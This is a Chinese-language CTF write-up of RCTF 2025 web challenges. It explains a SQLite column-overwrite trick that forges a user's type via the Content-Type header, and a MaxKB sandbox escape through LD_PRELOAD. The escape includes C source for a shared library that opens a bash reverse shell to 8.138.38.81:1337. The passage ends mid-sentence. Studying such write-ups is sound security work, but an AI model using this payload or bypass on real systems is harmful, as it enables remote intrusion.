RCTF 2025 Web 部分解题思路与漏洞分析
本次竞赛的 Web 题目涵盖了从基础逻辑绕过到复杂框架利用的多个层面。下面针对四道代表性题目进行复盘,重点分析漏洞原理与利用链构建。
photographer
这道题的核心在于 SQL 查询结果的字段的覆盖问题。题目要求 Auth::type() 小于 0 才能获取 flag,而 $user['type'] 的值来源于 findById 方法返回的数据。
查看源码发现,findById 执行的是左联查询(LEFT JOIN),不仅返回了 user 表的信息,还关联了 photo 表。由于 SQLite 使用的是 SQLITE3_ASSOC 模式,返回的是以列名索引的数组。这里存在一个关键的前置知识:当两个表存在同名字段时,后查询到的字段会覆盖先查询到的字段。
user 表和 photo 表都有 type 字段。photo 表的 type 是从 mime-type 解析出来的。如果我们能控制上传的图片 Content-Type,就能间接控制这个字段的值。
利用过程如下:
- 注册普通用户。
- 访问
/compose路由上传背景图片。 - 将请求头中的
Content-Type修改为-1。 - 提交后,photo 表的
type会被设置为 -1,从而覆盖 user 表的type。 - 再次访问
superadmin.php即可拿到 flag。
RootKB
题目基于 MaxKB 最新版本,提供了一个在线运行 Python 代码的工具入口。虽然环境有一定限制,但我们可以利用沙箱逃逸机制。
在 2.3.1 版本的 tool_code.py 中,引入了 LD_PRELOAD 环境变量来加载自定义的 .so 文件。这意味着只要我们能设置该变量并指向我们控制的共享库,程序启动时就会自动调用其中的 init() 函数。
我们需要构造一个恶意的 .so 文件,在其中写入反弹 Shell 的逻辑。C 语言示例代码如下:
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void payload() {
unsetenv("LD_PRELOAD");
system("bash -c \"bash -i >& /dev/tcp/8.138.38.81/1337 0>&1\"");
}
__attribute__((constructor)) void init() {
if (getenv("LD_PRELOAD") != NULL) {
payload();
}
}
编译生成 Z3.so 后,通过 Python 脚本将其写入沙箱目录覆盖原有的 :

